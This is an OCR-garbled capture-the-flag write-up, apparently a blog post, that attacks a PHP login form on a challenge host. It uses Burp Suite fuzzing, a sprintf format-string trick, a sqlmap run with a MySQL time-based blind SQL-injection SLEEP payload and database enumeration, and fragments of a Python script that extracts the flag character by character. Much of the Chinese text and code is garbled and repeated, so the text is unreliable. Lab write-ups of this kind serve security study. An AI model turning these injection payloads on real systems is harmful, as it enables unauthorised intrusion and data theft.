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Burp Suite Community Edition v2020.6 - Temporar

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget Tmey T Intruder TRepeater T Sequencer T Decoder I Comparer I Extender TPraJe(t options T User options ]

J Intercept T HTTP history IWebSnckets history T Options ]

f Requestto http://3a8efc2466304007aa581490bda%a6377a22d0d91d154ed8 changame.ichungiu.com:80 [1.31.128.147)]

{ Forward J l Drop J \ Interceptis on | Action

w | Params | Headers | Hex

240

1 POST fHTTR/1.1 A
2 Host: 3aBefc2466304007aa581490bda%as377a22d0d91d154ed8, changame . ichungiu, com &
S User-Agent: Mozilla/S.0(X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
S Accept-Language: en-US,en;g=0.5
& Accept-Encoding: gzip, deflate
7 Referer: http://3aBefc2466304007aa581490bda%a6377a22d0d91d154ed8. changame . ichungiu. com/
& Content-Type: applications/x-www-Torm-urlencoded
o9 Content-Length: 29
10 Connection: close
11 cookie: __jsluid _h=bb&897eb39a631679e42f4f5h7f551ae
12 Upgrade-Insecure-Requests: 1
13
14 username=admin&password=admin
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@ Payload Positions Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details
Attack type: lSniper .V]
1 POST / HTTP/1.1 £ Adds
2 Host: 3a8efc2466304007a8581490bda9as377a22d0d91d154eds, changame, ichungiu. com 1
3 User-Agent: Mozillas5. 0 (¥11: Linux x86_64; rv:68,0) Gecko/20100101 Firefox/68.0 Clear§
4 hccept: text/html,application/xhtml+xnl,application/xml; g=0.9, %/, q=0.8
S Accept-Language: en-US,en:g=0.5 Auto §
& Accept-Encoding: gzip, deflate l—J

Referer: http://3aBefc2466304007aa581490bda9as377a22d0d91d154eds, changane . ichungiu,. com/

Content-Type: application/x-www-form-urlencoded Refresh
Content-Length: 29

10 Connection: close

11 cookie: __jsluid_h=bb&6897eb39a631679e42f4fSh7f551ae
12 Upgrade-Insecure-Requests: 1

13

14 username=ad

@

[r:]

ssword=admin

A A HiClearki, SRS 1EuserfbAdd—>, A5 BEE FATE 1 7 4F

Target | Positions | Payloads TDptions ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each pa
payload type can be customnized in different ways.

Payload set: ll .V] Payload count: 8

i k]
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Payload type: | Simple list ] Request count: 9

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.
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Add from list ... [Pro version only]
Intruder attack 2 - O x
Attack Sawe Columns
J Results TTarget I Positions I Payloads I Options ]
| Filter: Showing all items |®
Request 4 | Payload | Status | Error | Timeout | Length | Comment
0 200 ] ] 1250
1 ! 200 ] ] 1250
2 @ 200 O O 1250
3 # 200 O O 1250
4 [ 200 O O 1250
5 [3% | 200 0] 0| 1457
6 -~ 200 ] ] TZ50
7 & 200 (] (] 1250
8 * 200 ] ] 1250
9 ! 200 ] ] 1250
Request | Response ]
J Raw T Headers I Hex I Render ]
& X¥-Via-JSL: 0de0de7, - A
9 X-Cache: bypass
10
11 ghr =
12 kb=
Warning
l=/b=
: sprintf(): Too fewarguments in <b=
Svarfwww/html findex. php
=/h>
online =h=
13
e
<hr /= =3
12 zhr f= X
@@ =M= Search. . 0 matches \n Prethy
Finished !_ O S AP PV TS VS S ___;i
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sprintf() B8 B XA 775 f 5 AR,

sprintf(format,arg1,arg2,arg++)

argl. arg2. arg++ ZECHMIBAB L FRHERNESS (%) F5kb. ZRECEELHATH. FHE D % F54, HA
argl, 7EE A % 54k, A arg2, MKIbIHE.

R R % 52T arg Z8 WELBEM SA5F. ST % fF52)a, B $” k.

sprintf( ,$number,$str);
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sprintf(

,$number) ;
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$txt=sp
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sprintf( , $username);

sprintf( $name ,$password)
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Jiik—: Hgssqlimapi
% T-sqimapit{FPOSTI: A 7714:2021.1.8
hESE, X EAER.

:~% sglmap -r sqli.txt —prefix="admin? \ -p username

KEE— FIMENE, AEHsqmapi, XHEICE—FHANSERIE L
Request:
These options can be used to specify how to connect to the target URL

Data string to be sent through POST (e.g. "id=1")
HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
- -proxy=PROXY Use a proxy to connect to the target URL

=hefo) Use Tor anonymity network

--check-tor Check to see if Tor is used properly

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)

--dbms=DBMS Force back-end DBMS to provided value
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sqlmap Requestfi b FH kb2 AT B 48 %€ aifl %822 B #rURL

i%z%:
X% Al FHEEaEEE BFRURL

—data = DATAZBIIPOSTRIEAVEGE=FFTEE (14N id=1")

--cookie = COOKIE HTTP CookiefrsE ({520“ PHPSESSID =
a8d127e.")

~random-agent{SEFRFELIEIRAIHT TP User-Agentirs (&

—-proxy = PROXY{sEFIEEREEI HFRURL

~tor{EFHTorEEE Mg

--check-torf@E TorE&A 1EMA(ERA

EHU‘ :
XEaEI o] R FEEE DSy,
EEBESEABRE T ] 1R E XA

-p TESTPARAMETEREIIHAIEEL
~dbms = DBMS3&##&/5imDBMSIRE/IH=HHNE

—prefix<fi 2%>Hl-suffix</5 22> 1 & PAYLOAD [ Hif 8 Al J& £

[ 1 [IIIFH] POST parameter username appears tu be MySQL 2 75 U 12 AND time- based blind (query SLEEP} 1njectable
it looks 11ke the ba DoMC_de tuucoL - fviny

[ 1 [ 1 te | \NULLI -1 to
[ i UN[ON tic e tests as there E east one other (potential) technique found
10 appe
injection not Do you wam: to try with a i i ' ion-char'? [Y¥/n]
I ased SQL injection is not detected, please ider the -e 3MS (e.g. '--dbms=mysql')
[ I c 3 if t n point on POST para = username iti
POST parameter 'username’ i 0 you want to kee| ing the others (

sqlmap identified the follc s injection point(s) with a total of 185 HTTP(s) requests:

EEP)
0M (SELECT(SLEEP(S)

DBMS is MySQL
ot str etwork c cti ri 5 of ti ay Ll prevent potential disruptions

t files under '/ ang Lo / Lmap/outpu f Oe 9 9d@.chal .ichunqiu.com’
p for more than 1
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-p username ——dbs

}

1L
sqlmap.or

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:06:29 /2021-01-11/
[
[

[ 1 parsing HTTP request from 'sqli.txt’

[ ] resuming back-end DBMS 'mysql’

[INFO] testing connection to the target URL

[ heuristics detected web page charset 'utf-8'
sqlmap resumed the following injection point(s) from stored session:

1
1
1

Parameter: username (POST)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: username-adminadmin%1$\' AND (SELECT 7964 FROM (SELECT(SLEEP(5)))gORv)—- iyrs&password=admin
L 1 [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL = 5.0.12
1 [INFO] fetching database names
fetching number of databases
1T 5] time-based comparison requires larger statistical model, please wait
1 [w it is very important to not stress the network connectien during usage of time-based payloads to prevent petential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '-—time-sec')? [¥/n]
2

[
[

[ ] retrieved:
[I ] adjusting time delay to 1 second due to good response times

information_schema

1
1
o
1
1
1

L ] retrieved: ctf
[ ] invalid character detected. retrying..
[WARNING] increasing time delay to 2 seconds

[
[

available databases [2]:
[*] ctf
[*] information_schema

[ 11z ] fetched data logged to text files under '/home/zhangyu/.local/share/sglmap/output/b241295890a34f0c93c8000ee5365239f098d53a293d49de.changame. ichungiu.com’
L 1 [WARNING] you haven't updated sqlmap for more than 193 days!!!

[*] ending @ 10:08:11 /2021-01-11/
https:/iblog.csdn.net/weixin_45253216
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NI ERE T ~tables %, BIERMN %A —Muser—/Mlag.
IR Je Mflag 1) 7 Bt columns & 5 dump, B n] Eorflag.
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import requests

import string

string.digits string.ascii_letters

‘key,
r requests.post(url, data=data).text
if right in (r):
print(
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import requests

import string

string.digits string.ascii_letters

(1,length+1):

data { :key, -
r requests.post(url, data=data).text
if right in (r):

name (1)

print(name)

import requests

import string

string.digits string.ascii_letters

(1)

‘key,

requests.post(url, data=data).text

if right in (r):
print(




import requests

import string

string.digits string.ascii_letters

(1,length+1):

(3,1)
data { :key, -
r requests.post(url, data=data).text
if right in (r):
name (1)

print(name)

import requests

import string

string.digits string.ascii_letters

(1)

‘key,

requests.post(url, data=data).text

if right in (r):
print(




import requests

import string

string.digits string.ascii_letters

(1,length+1):

(3,1)
data { :key, -
r requests.post(url, data=data).text
if right in (r):
name (1)

print(name)

import requests

import string

string.digits string.ascii_letters

:key,

requests.post(url, data=data).text

if right in (r):
print(




import requests

import string

string.digits string.ascii_letters

(1,length+1):

for i in dic:

key
data { :key,

r requests.post(url, data=data).text

if right in (r):
name+=1i

print(name)
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File Edit Selection View Go Run Terminal Help sqli1.py - Visual Studio Code

sqlit.py X

source code >

requests
rt string

"

dic = string.digits + string.ascii letters +
length=42
name=""
right =
worry =
url
(1,1length+1
i in dic:

TERMINAL

flag{bsb236121-86dd-a
flag{bsb36121-86dd-a4
flag{bsh36121-86dd-aad
flag{bsb26121-86dd-a4db
flag{bsb36121-86dd-a4db-
flag{bsh36121-86dd-a4db-a
flag{bsb36121-86dd-a4db-aa
tlag{bsb36121-86dd-aadb-aab
flag{bsb36121-86dd-aadb-aab3
flag{bsb36121-86dd-a4db-aab3-
flag{bsb36121-86dd-addb-aab3-8
flag{bsh36121-86dd-aadb-aab3-86
flag{bsb36121-86dd-addb-aab3-86d
flag{bs5b36121-86dd-a4db-aab3-86dd
flag{bsh36121-86dd-a4db-aab3-86ddb
flag{bs5b36121-86dd-a4db-aab3-86ddb7
tlag{bsb36121-86dd-addb-aab3-86ddb74
flag{bsb36121-86dd-a4db-aab3-86ddb749
flag{bsb36121-86dd-a4db-aab3-86ddb749d
flag{bs5b36121-86dd-a4db-aab3-86ddb749df
flag{bsh36121-86dd-a4db-aab3-86ddb749dfa
flag{bsb36121-86dd-aadb-aab3-86ddb749dfal
flag{bs5b36121-86dd-a4db-aab3-86ddb749dfal}
Ps C:\Users\lenovo>

Python 3.8164-bit ®0 A0 Ln 11, Col 7 (80 selected)  Spaces: AP RrTRIG9 Cori = hyfiin 47353

BAAAT Lo 3t 7 AN B A Bl mT LSSt st s DR 45 SEORT
[4k1]
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